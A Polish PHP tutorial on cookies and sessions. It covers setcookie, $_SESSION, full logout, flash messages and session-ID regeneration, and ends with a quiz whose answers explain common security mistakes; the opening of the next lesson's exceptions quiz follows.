<p class="wp-block-paragraph"><strong>Dlaczego w ogóle potrzebujemy cookies i sesji</strong></p>



<ul class="wp-block-list">
<li>HTTP jest bezstanowy: każde żądanie uruchamia skrypt od pierwszej linii, a po jego zakończeniu wszystkie zmienne znikają. Cokolwiek ma przetrwać do następnego żądania, musi leżeć <strong>w przeglądarce</strong> (cookie) albo <strong>na serwerze</strong> (sesja).</li>
</ul>



<p class="wp-block-paragraph"><strong>Cookie</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wysyła <strong>nagłówek</strong> odpowiedzi — musi się wykonać przed jakąkolwiek treścią strony (nawet przed spacją sprzed <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> zawiera to, co przeglądarka <strong>przysłała w tym żądaniu</strong>. Ciasteczko ustawione przed chwilą zobaczysz dopiero w następnym żądaniu — dlatego wypisujemy własną zmienną, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE[...]</code>.</li>



<li>Wartość ciasteczka to <strong>zawsze tekst</strong> (ok. 4 KB). Liczby trzeba rzutować, tablice — zakodować (<code class="prettyprint lang-sql" style="font-size: 0.85em;">json_encode()</code>).</li>



<li>Bez trzeciego parametru ciasteczko znika po zamknięciu przeglądarki; z <code class="prettyprint lang-sql" style="font-size: 0.85em;">time() + sekundy</code> żyje do podanej daty.</li>



<li>Usunięcie ciasteczka = ustawienie go ponownie z czasem w przeszłości, <strong>z tą samą ścieżką i domeną</strong>.</li>



<li>Ciasteczko leży u użytkownika i użytkownik może je dowolnie zmienić. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> traktujemy dokładnie jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>: odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, potem sprawdzenie (regex albo lista dozwolonych wartości).</li>
</ul>



<p class="wp-block-paragraph"><strong>Sesja</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> musi być w <strong>każdym</strong> pliku korzystającym z sesji i również przed jakąkolwiek treścią strony (wysyła ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>).</li>



<li>Przeglądarka dostaje tylko identyfikator (<code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>); dane leżą w pliku na serwerze. Użytkownik może podmienić identyfikator, ale nie zawartość sesji — dlatego to, co sami zapisaliśmy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, traktujemy jako zaufane.</li>



<li>Sesja zachowuje <strong>typy</strong> danych (liczby, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, tablice) — w przeciwieństwie do cookie.</li>



<li>Plik sesji powstaje dopiero wtedy, gdy coś zapiszesz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>.</li>



<li>Pełne wylogowanie to <strong>trzy kroki</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION = [];</code>, usunięcie ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_name()</code> ze ścieżką <code class="prettyprint lang-sql" style="font-size: 0.85em;">'/'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_destroy()</code>.</li>



<li>Przy logowaniu wywołujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code> — użytkownik dostaje nowy identyfikator, zanim zapiszemy do sesji dane o tym, kim jest.</li>
</ul>



<p class="wp-block-paragraph"><strong>Decyzje projektowe</strong></p>



<ul class="wp-block-list">
<li>W sesji: kto jest zalogowany, uprawnienia, komunikaty jednorazowe, dane między krokami formularza.</li>



<li>W cookie: preferencje (widok listy, motyw, język, „nie pokazuj więcej”) — czyli rzeczy, przy których podmiana wartości przez użytkownika nikomu nie szkodzi.</li>



<li>Komunikat jednorazowy = zapis do sesji → przekierowanie → odczyt i <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code>. Dzięki temu nie da się go wywołać adresem i nie wraca po odświeżeniu.</li>



<li>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> — bez niego skrypt wykonuje resztę pliku mimo przekierowania.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>rozpoznać i wyjaśnić</strong> różnicę między cookie a sesją: gdzie leżą dane, kto może je zmienić, jak długo żyją, co przechowuje ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>,</li>



<li>napisać ustawienie ciasteczka z czasem wygaśnięcia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('nazwa', 'wartość', time() + sekundy)</code>) i odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> z zabezpieczeniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>,</li>



<li>usunąć ciasteczko (czas w przeszłości) i wyjaśnić, dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset($_COOKIE[...])</code> nie wystarcza,</li>



<li>napisać obsługę sesji: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, zapis i odczyt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code>, pełne zakończenie sesji w trzech krokach,</li>



<li>rozpoznać błąd „headers already sent” i wskazać jego przyczynę (nagłówek po treści strony),</li>



<li>napisać prosty mechanizm logowania na sesji: sprawdzenie danych z formularza → zapis do sesji → ochrona strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>),</li>



<li>uzasadnić, czego nie wolno trzymać w ciasteczku (loginu, roli, uprawnień) i dlaczego,</li>



<li><strong>znać zależność</strong> cookie <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2194.png" alt="↔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> sesja: sesja też opiera się na ciasteczku, tyle że zawiera ono wyłącznie identyfikator.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> <strong>przed</strong> jakimkolwiek HTML-em.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> w <strong>każdym</strong> pliku, który czyta lub zapisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> pokazuje przeszłość: ciasteczko ustawione teraz zobaczysz w następnym żądaniu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> = dane od użytkownika (sprawdzaj!), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> = dane od nas (możemy ufać).</li>



<li>Usunięcie ciasteczka to ustawienie go z czasem w przeszłości, z tą samą ścieżką.</li>



<li>Wylogowanie = dane + ciasteczko sesji + <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_destroy()</code>.</li>



<li>Nigdy nie trzymaj w ciasteczku tego, od czego zależy, kim jest użytkownik i co mu wolno.</li>



<li>Po każdym <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Ciasteczka</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('nazwa', 'wartość');                       // do zamknięcia przeglądarki
setcookie('nazwa', 'wartość', time() + 60 * 60);     // godzina
setcookie('nazwa', 'wartość', time() + 60 * 60 * 24 * 30);  // 30 dni
setcookie('nazwa', '', time() - 3600);               // usunięcie

$wartosc = $_COOKIE&#91;'nazwa'] ?? 'domyślna';          // odczyt
isset($_COOKIE&#91;'nazwa']);                            // czy przyszło</code></pre>



<p class="wp-block-paragraph"><strong>Sesje</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();                    // na samej górze pliku

$_SESSION&#91;'login'] = 'Kama_2026';   // zapis (typy zachowane)
$imie = $_SESSION&#91;'imie'];          // odczyt danych, które sami zapisaliśmy
unset($_SESSION&#91;'komunikat']);      // usunięcie jednego klucza
$_SESSION = &#91;];                     // wyczyszczenie danych
session_regenerate_id(true);        // nowy identyfikator (przy logowaniu)
session_name();                     // nazwa ciasteczka sesji: PHPSESSID
session_destroy();                  // usunięcie sesji z serwera</code></pre>



<p class="wp-block-paragraph"><strong>Pełne wylogowanie</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();

$_SESSION = &#91;];

if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;</code></pre>



<p class="wp-block-paragraph"><strong>Strona tylko dla zalogowanych</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!isset($_SESSION&#91;'login'])) {
    header('Location: zaloguj.php');
    exit;
}</code></pre>



<p class="wp-block-paragraph"><strong>Komunikat jednorazowy</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// strona zapisująca
$_SESSION&#91;'komunikat'] = 'Zadanie zostało dodane.';
header('Location: index.php');
exit;

// strona wyświetlająca
$komunikat = $_SESSION&#91;'komunikat'] ?? '';
unset($_SESSION&#91;'komunikat']);</code></pre>



<p class="wp-block-paragraph"><strong>Preferencja z adresu albo z ciasteczka</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr = $_GET&#91;'filtr'] ?? $_COOKIE&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET&#91;'filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}</code></pre>



<p class="wp-block-paragraph"><strong>Co gdzie</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>&nbsp;</th><th>Cookie</th><th>Sesja</th></tr></thead><tbody><tr><td>dane leżą</td><td>w przeglądarce</td><td>na serwerze</td></tr><tr><td>użytkownik może zmienić</td><td>tak</td><td>nie (tylko identyfikator)</td></tr><tr><td>typy</td><td>tylko tekst</td><td>dowolne</td></tr><tr><td>widać zapis</td><td>w następnym żądaniu</td><td>od razu</td></tr><tr><td>do czego</td><td>preferencje</td><td>logowanie, komunikaty, dane wrażliwe</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Co wypisze ten kod przy pierwszym otwarciu strony, a co przy drugim?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$licznik = $_COOKIE&#91;'licznik'] ?? '0';
setcookie('licznik', (int) $licznik + 1, time() + 3600);
echo $_COOKIE&#91;'licznik'] ?? 'brak';</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Dlaczego ten kod nie zadziała i jaki komunikat zobaczysz?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;h1&gt;Panel&lt;/h1&gt;";
session_start();
$_SESSION&#91;'login'] = 'Kama_2026';</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Ciasteczko ustawiono przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('filtr', 'aktywne', time() + 3600)</code>. Który zapis rzeczywiście je usunie z przeglądarki?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// a)
unset($_COOKIE&#91;'filtr']);
// b)
setcookie('filtr', '', time() - 3600);
// c)
$_COOKIE&#91;'filtr'] = '';</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>, jeżeli otworzysz najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> <strong>dwa razy</strong>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// brudnopis.php
session_start();
$_SESSION&#91;'xp'] = 50;

// brudnopis2.php
session_start();
$_SESSION&#91;'xp'] += 10;
echo $_SESSION&#91;'xp'];</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> odczytujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> — z <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>. Wyjaśnij, dlaczego oba zapisy są poprawne.</p>



<p class="wp-block-paragraph"><strong>6.</strong> Czego brakuje w tym wylogowaniu i jaki będzie tego skutek?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();
$_SESSION = &#91;];
session_destroy();
header('Location: zaloguj.php');
exit;</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Znajdź błąd w funkcji — komunikat nigdy się nie pokazuje:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzKomunikat(): string
{
    unset($_SESSION&#91;'komunikat']);

    return $_SESSION&#91;'komunikat'] ?? '';
}</code></pre>



<p class="wp-block-paragraph"><strong>8.</strong> Kolega zabezpiecza panel administracyjny tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (($_COOKIE&#91;'rola'] ?? '') === 'admin') {
    // panel administratora
}</code></pre>



<p class="wp-block-paragraph">Na czym polega dziura i jak ją naprawić, korzystając z tego, co znasz z tej lekcji?</p>



<p class="wp-block-paragraph"><strong>9.</strong> Co się stanie, jeśli z tej funkcji usuniesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>? Dlaczego użytkownik „nic nie zauważy”, a mimo to aplikacja jest dziurawa?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}</code></pre>



<p class="wp-block-paragraph"><strong>10.</strong> Użytkownik wchodzi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wykonane</code>, mając w przeglądarce ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr=aktywne</code>. Jaki widok zobaczy i jaka wartość zostanie w ciasteczku po tym żądaniu?</p>



<p class="wp-block-paragraph"><strong>11.</strong> Uzupełnij kod tak, aby zapamiętywał motyw strony na 7 dni. Dozwolone wartości: <code class="prettyprint lang-sql" style="font-size: 0.85em;">jasny</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ciemny</code>, domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">jasny</code>. Wartość zapisuj do ciasteczka tylko wtedy, gdy przyszła w adresie.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$motyw = /* ? */;

if (/* ? */) {
    $motyw = 'jasny';
}

if (isset($_GET&#91;'motyw'])) {
    setcookie(/* ? */);
}</code></pre>



<p class="wp-block-paragraph"><strong>12.</strong> Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> wywołujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code> i dlaczego akurat <strong>przed</strong> zapisaniem loginu do sesji?</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<p class="wp-block-paragraph"><strong>1.</strong> Pierwsze otwarcie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">brak</code> (przeglądarka nie przysłała jeszcze żadnego ciasteczka). Drugie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> wypisuje to, co <strong>przyszło</strong> w żądaniu, a nie to, co właśnie ustawiliśmy — ciasteczko z <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> pojawi się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> dopiero przy kolejnym żądaniu. Dlatego w takim liczniku wypisujemy własną zmienną.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> wysyła nagłówek z ciasteczkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, a nagłówki muszą wyjść przed treścią strony. Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> jest już za późno: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information - headers already sent</code>. Sesja się nie rozpocznie (w XAMPP-ie przy buforowaniu wyjścia ostrzeżenie może się nie pojawić — nie polegaj na tym).</p>



<p class="wp-block-paragraph"><strong>3.</strong> b). <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset($_COOKIE['filtr'])</code> i przypisanie do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> zmieniają tylko tablicę w pamięci tego skryptu — przeglądarka nic o tym nie wie i przy następnym żądaniu przyśle ciasteczko ponownie. Usunięcie musi pójść do przeglądarki, czyli przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> z czasem w przeszłości (i z tą samą ścieżką, z jaką ciasteczko powstało).</p>



<p class="wp-block-paragraph"><strong>4.</strong> Za pierwszym razem <code class="prettyprint lang-sql" style="font-size: 0.85em;">60</code>, za drugim <code class="prettyprint lang-sql" style="font-size: 0.85em;">70</code>. Dane sesji leżą na serwerze i są wczytywane przy każdym <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">+= 10</code> dokłada się do zapamiętanej wartości. Zwróć uwagę, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">50</code> jest liczbą — sesja zachowuje typy.</p>



<p class="wp-block-paragraph"><strong>5.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code> zapisujemy sami przy logowaniu, a na stronę wchodzą tylko zalogowani, więc klucz na pewno istnieje. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> przychodzi od przeglądarki i przy pierwszej wizycie go po prostu nie ma — bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> byłoby <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key</code>.</p>



<p class="wp-block-paragraph"><strong>6.</strong> Brakuje usunięcia ciasteczka z identyfikatorem sesji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}</code></pre>



<p class="wp-block-paragraph">Bez tego dane i plik sesji znikają, ale przeglądarka nadal nosi stary <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> i wysyła go przy kolejnych żądaniach. Wylogowanie zadziała, tylko że zostawia w przeglądarce nieaktualny identyfikator — porządne zakończenie sesji ma trzy kroki.</p>



<p class="wp-block-paragraph"><strong>7.</strong> Kolejność. Najpierw kasujemy klucz, a potem próbujemy go odczytać, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> zawsze zwróci pusty tekst. Poprawnie: najpierw zapisz wartość w zmiennej, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code>, na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $komunikat;</code>.</p>



<p class="wp-block-paragraph"><strong>8.</strong> Ciasteczko leży u użytkownika — każdy może w F12 wpisać sobie <code class="prettyprint lang-sql" style="font-size: 0.85em;">rola</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">admin</code> i wejść do panelu. O uprawnieniach nie może decydować nic, co użytkownik sam ustawia. Rola musi trafić do sesji po sprawdzeniu danych logowania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['rola']</code>), a warunek ma sprawdzać sesję.</p>



<p class="wp-block-paragraph"><strong>9.</strong> Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> skrypt działa dalej i wykonuje całą resztę pliku: odczytuje dane, może je zmienić, wygeneruje HTML. Przeglądarka posłucha nagłówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">Location</code> i pokaże stronę logowania, więc z zewnątrz wygląda to poprawnie. Ale odpowiedź z danymi została wysłana — wystarczy podejrzeć ją w F12 → Sieć albo wyłączyć podążanie za przekierowaniem, żeby zobaczyć zawartość strony bez logowania.</p>



<p class="wp-block-paragraph"><strong>10.</strong> Zobaczy widok <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> — adres ma pierwszeństwo w łańcuchu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie'</code>. W ciasteczku zostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wywołujemy, gdy parametr był w adresie, i zapisujemy wartość <strong>po zawężeniu</strong>. Ciasteczko o tej samej nazwie i ścieżce zostaje nadpisane.</p>



<p class="wp-block-paragraph"><strong>11.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$motyw = $_GET&#91;'motyw'] ?? $_COOKIE&#91;'motyw'] ?? 'jasny';

if ($motyw !== 'ciemny') {
    $motyw = 'jasny';
}

if (isset($_GET&#91;'motyw'])) {
    setcookie('motyw', $motyw, time() + 60 * 60 * 24 * 7);
}</code></pre>



<p class="wp-block-paragraph">Warunek można też zapisać jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($motyw !== 'jasny' &amp;&amp; $motyw !== 'ciemny')</code>. Ważne jest, że do ciasteczka trafia wartość po sprawdzeniu, a nie surowy tekst z adresu — inaczej zapisalibyśmy u użytkownika cokolwiek, co wpisał w pasek adresu.</p>



<p class="wp-block-paragraph"><strong>12.</strong> Żeby użytkownik dostał <strong>nowy</strong> identyfikator sesji, zanim sesja stanie się „sesją zalogowanego”. Gdyby ktoś wcześniej podsunął ofierze znany sobie identyfikator (np. linkiem), po zalogowaniu miałby numerek do sesji z jej danymi. Parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> usuwa stary plik sesji. Kolejność jest istotna: po regeneracji zapisujemy login — dane zostają w nowej sesji, a stary identyfikator jest już bezużyteczny.</p>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/">14. PHP – obsługa cookies i sesje</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>13. PHP &#8211; odbieranie danych z przeglądarki &#8211; formularze html, metody GET i POST. Wysyłanie danych do przeglądarki.</title>
		<link>https://kamakaczmarek.net/php-odbieranie-danych-z-przegladarki-formularze-html-metody-get-i-post-wysylanie-danych-do-przegladarki/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sat, 01 Dec 2018 20:26:13 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[formularze]]></category>
		<category><![CDATA[GET]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[POST]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2328</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 12: wyjątki (throw, try, catch, finally). Odpowiedz z pamięci, bez zaglądania do kodu. 1. Co zostanie wypisane? 2. Znajdź błąd. Dlaczego ten kod nie zatrzymuje zapisu ujemnej nagrody? 3. Dla każdej sytuacji odpowiedz: wyjątek czy zwykła wartość zwrócona z funkcji? a) pliku data/zadania.csv nie ma na dysku,b) plik [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-odbieranie-danych-z-przegladarki-formularze-html-metody-get-i-post-wysylanie-danych-do-przegladarki/">13. PHP &#8211; odbieranie danych z przeglądarki &#8211; formularze html, metody GET i POST. Wysyłanie danych do przeglądarki.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 12: wyjątki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>). Odpowiedz z pamięci, bez zaglądania do kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co zostanie wypisane?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzNagrode(int $nagroda): int
{
    if ($nagroda &lt; 0) {
        throw new Exception("Nagroda nie może być ujemna.");
    }
    return $nagroda * 2;
}

try {
    echo "A";
    echo sprawdzNagrode(-3);
    echo "B";
} catch (Exception $wyjatek) {
    echo "C";
}
echo "D";</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Znajdź błąd. Dlaczego ten kod nie zatrzymuje zapisu ujemnej nagrody?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($nagroda &lt; 0) {
    new Exception("Nagroda nie może być ujemna.");
}
$xp = $xp + $nagroda;</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Dla każdej sytuacji odpowiedz: <strong>wyjątek</strong> czy <strong>zwykła wartość zwrócona z funkcji</strong>?</p>



<p class="wp-block-paragraph">a) pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> nie ma na dysku,<br />b) plik zawiera tylko wiersz nagłówka,<br />c) wiersz CSV ma 5 pól zamiast 6,<br />d) login nie przechodzi walidacji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>.</p>



<p class="wp-block-paragraph"><strong>4.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code> znalazło się w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, a nie za pętlą czytającą plik. Co by się stało, gdyby zostało za pętlą, a w jej środku poleciał wyjątek?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code> przechwyci <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> (np. gdy do funkcji z parametrem <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> przekażesz tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"abc"</code>)? Uzasadnij.</p>



